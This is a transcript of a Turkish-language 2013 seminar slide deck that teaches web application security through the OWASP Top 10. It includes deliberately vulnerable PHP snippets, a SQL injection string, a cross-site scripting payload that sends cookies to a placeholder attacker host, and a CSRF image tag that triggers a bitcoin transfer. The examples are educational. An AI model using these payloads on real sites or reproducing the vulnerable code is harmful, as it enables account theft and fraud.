Web Uygulamalarında Güvenlik

Web Uygulamalarında Güvenlik

Bilkent Özgür Yazılım ve İnternet Teknolojileri Kulübü Siber Güvenlik Seminerleri

D55de538259751cc08d16a0843e1c69f?s=128

Hidayet Doğan

November 29, 2013
Tweet

Transcript

  1. Web Uygulamalarında Güvenlik Bilkent Özgür Yazılım ve İnternet Teknolojileri Kulübü

    Siber Güvenlik Seminerleri
  2. Merhaba! • Hidayet Doğan • http://hi.do • @hdogan

  3. Hurafeler • “POST” metod daha güvenlidir hacı. • “hidden” input

    kimse tarafından görüntülenemez. • Kodu bir tek ben görüyorum, benden başka kimse neyin nasıl olduğunu tahmin edemez.
  4. Artizlik • Benim işim değil, (sistemcini|veritabancını)n işi. • Ben biliyom,

    en çok ben bilirim, en çok bana soracaksınız. Şurdan şöyle girdiler sisteme.
  5. Cahil Cesareti / WTF? • Hızlı ve güvenilir ASP(döt)NET kullanılacak.

    • Microfart $QL kullansaydık böyle olmazdı.
  6. Ne gerek var?

  7. Ne gerek var? • Saldırıların %70’i altyapıya değil uygulamaya yapılıyor.

    (Gartner) • DDoS saldırılarının %25’i uygulamaya yapılıyor. (Gartner) • Kurumların %73’ü 2 yıl içinde en az 1 defa, web uygulamaları üzerinden “hack”leniyor. (Phonemon Institute) • Altyapıda/ağda yapılacak çözümler uygulamaya saldırı yapılmayacak anlamına gelmez.
  8. Eee napcaz?

  9. Oku, Tanı, Takip Et • RTFM! • Çalıştığın ortam (veritabanı,

    web sunucusu, işletim sistemi) • Kullandığın kütüphaneler • Yeni birşey var mı? Neyi düzeltmişler?
  10. OWASP Open Web Application Security Project http://www.owasp.org

  11. OWASP İlk 10 • Enjeksiyon, sızma (Injection) • Bozuk kimlik

    doğrulama ve oturum yönetimi (Broken Authentication / Session) • Cross-Site Scripting (XSS) • Güvenlik önlemsiz doğrudan erişim (Insecure Direct Object Reference) • Hatalı güvenlik ayarları (Security Misconfiguration) • Hassas verilerin ortada bırakılması (Sensitive Data Exposure) • Eksik (işlev bazlı) erişim kontrolü (Missing Access Control) • Cross-Site Request Forgery (CSRF) • Zafiyetleri bilinen bileşenleri kullanmak • Kontrolsüz yönlendirmeler (Unvalidated Redirects / Forwards)
  12. Enjeksiyon (Injection) • Hedef yorumlayıcı içine sızma. • En yaygını

    SQL Injection. • Ziyaretçiden gelen veriyi süzmemek. <?php $query = “SELECT * FROM kayitlar WHERE kayit_no = ‘ “ . $_GET[‘kayit_no'] . “ ‘ “; ?> http://ornek.com/kayit-goster.php?kayit_no=' OR ‘1’ = ‘1
  13. Bozuk Kimlik Doğrulama ve Oturum Yönetimi (Broken Authentication / Session)

    • Parolaları veritabanında kabak gibi açıkta tutmak. • Zayıf kimlik yönetimi. • Adres satırından oturum kimliği iletmek. • Zaman aşımsız oturum yönetimi. http://ornek.com/benim_hesabim.php? SESSIONID=4950ce77b4b73ca33c32e7dc5b8a3e9e
  14. Cross-Site Scripting (XSS) • Ziyaretçiden gelen verinin güvenilir olduğunu sanmak.

    • En yaygını JavaScript kodları göndermek. <input type="text" name="ad_soyad" value="<?php echo $ad_soyad; ?>"> "><script>document.location='http://lAmErbOyZ.kom/oh-yeah.jsp? veriler='+document.cookie;</script>
  15. Güvenlik Önlemsiz Doğrudan Erişim (Insecure Direct Object Reference) • Sadece

    kullanıcıdan gelen veri ile hareket etmek. • Talep edilen veri gerçekten ziyaretçiye mi ait? <?php $query = "SELECT * FROM sepetler WHERE hesap_no = " . intval($_GET['hesap_no']); ?> http://ornek.com/alisveris_sepetim.php?hesap_no=123
  16. Hatalı Güvenlik Ayarları (Security Misconfiguration) • Güncel olmayan sürümlerin kullanılması

    • Gereksiz (kullanılmayan) özelliklerin açık bırakılması • Öntanımlı hesapların, parolaların bırakılması • Hata, ayıklama (debug) raporlarının ziyaretçiler tarafından görünür olarak bırakılması
  17. Hassas Verilerin Ortada Bırakılması (Sensitive Data Exposure) • Hassas verileri

    açık şekilde aktarmak, saklamak. • Eski / dandik şifreleme algoritlamaları kullanmak.
  18. Cross-Site Request Forgery (CSRF) • Ziyaretçiyi taklit etmek. • Ziyaretçiden

    habersiz direktifler göndermek. <img src=“http://ornek.com/bitcoin_aktar.php? kimden=Engür& kime=lAmErbOyZ& miktar=8" width="0" height="0">
  19. Zafiyetleri Bilinen Bileşenler Kullanmak • Eceli gelen köpüş cami duvarına

    … • A: Güncelleme geldi sahip.
 B: Önemli birşey yoktur, yarın bakarım. • Genellikle otomatik tarayıcılar sizi gelir bulur. • Takip Et: Common Vulnerabilities and Exposures (CVE) • http://cve.mitre.org
  20. Kontrolsüz Yönlendirmeler (Unvalidated Redirects / Forwards) • Ziyaretçiler gerçekten tahmin

    ettiğin gibi senin uygulaman içinde bir yere mi yönlendiriliyorlar? <?php if ($giris == 'tamam') { header("Location: $adres"); } ?>
  21. Teşekkürler • http://www.owasp.org • http://cve.mitre.org • http://websec.io